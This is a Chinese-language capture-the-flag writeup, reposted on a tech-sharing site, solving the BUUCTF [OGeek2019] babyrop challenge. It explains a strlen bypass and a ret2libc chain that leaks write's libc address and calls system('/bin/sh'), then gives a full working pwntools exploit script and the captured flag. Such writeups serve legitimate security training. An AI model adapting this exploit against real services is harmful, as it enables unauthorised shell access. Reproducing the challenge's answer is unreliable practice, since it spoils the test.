ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF-[OGeek2019]babyrop writeup

2021-04-05 13:03:55  阅读:604  来源: 互联网

标签:babyrop sub libc writeup elf write io OGeek2019 Payload


checksec一下

 

 开启了NX保护和RELRO

拖进IDA,在函数列表没有发现system函数,也没有找到/bin/sh字符串,所以需要考虑泄露

 

主函数首先调用了sub_80486BB函数,然后读取一个随机数保存在buf里,再调用sub_804871F和sub_80487D0函数

sub_80486BB是一些基础设定

 sub_804871F函数将之前读取的随机数与用户输入的字符串进行长度比较,并返回v5

 

 sub_80487D0函数中,根据传入的参数可以控制读入buf的长度

 

 可以发现 只要控制a1的大小就可以任意控制读入buf的长度,而a1就是sub_804871F中的v5,所以可以构造合适的Payload来控制v5,再通过sub_80487D0中的read来泄露system与/bin/sh的地址

先使发送的Payload的首字符为\x00来绕过字符串长度比较,再构造合适的长度来改变v5的值

Payload = b'\x00' + b'a'*6 +'\xff'

这里使v5的值尽可能的大,方便后面操作

因为没有发现有system函数的存在,所以考虑泄露libc,这里选择泄露write函数的地址

leak = flat(cyclic(0xE7 + 4), elf.plt['write'], 0x8048825, 1, elf.got['write'], 4)

再构造rop

rop = flat(cyclic(0xE7 + 4), libc.sym['system'], 'aaaa', next(libc.search(b"/bin/sh")))

完整exploit如下

 1 #!/usr/bin/env python
 2 # -*- coding: utf-8 -*-
 3 
 4 from pwn import *
 5 import sys
 6 context.binary = "./babyrop"
 7 context.log_level = "debug"
 8 elf = context.binary
 9 
10 if sys.argv[1] == 'l':
11     io = process("./babyrop")
12     libc = elf.libc
13 
14 else:
15     io = remote("node3.buuoj.cn", 26799)
16     libc = ELF("./libc-2.23.so")
17 
18 Payload = b'\x00' + b'aaaaaa' + b'\xff'
19 io.sendline(Payload)
20 io.recv()
21 leak = flat(cyclic(0xE7 + 4), elf.plt['write'], 0x8048825, 1, elf.got['write'], 4)
22 io.sendline(leak)
23 libc.address = u32(io.recv(4)) - libc.sym['write']
24 success("libc -> {:#x}".format(libc.address))
25 pause()
26 
27 io.sendline(Payload)
28 rop = flat(cyclic(0xE7 + 4), libc.sym['system'], 'aaaa', next(libc.search(b"/bin/sh")))
29 io.sendline(rop)
30 io.interactive()

运行后得到sh

在根目录下发现flag文件

flag{f5092977-8540-4334-9c89-5c635894775c}

 

标签:babyrop,sub,libc,writeup,elf,write,io,OGeek2019,Payload
来源: https://www.cnblogs.com/KGYSAIKOU/p/14618180.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有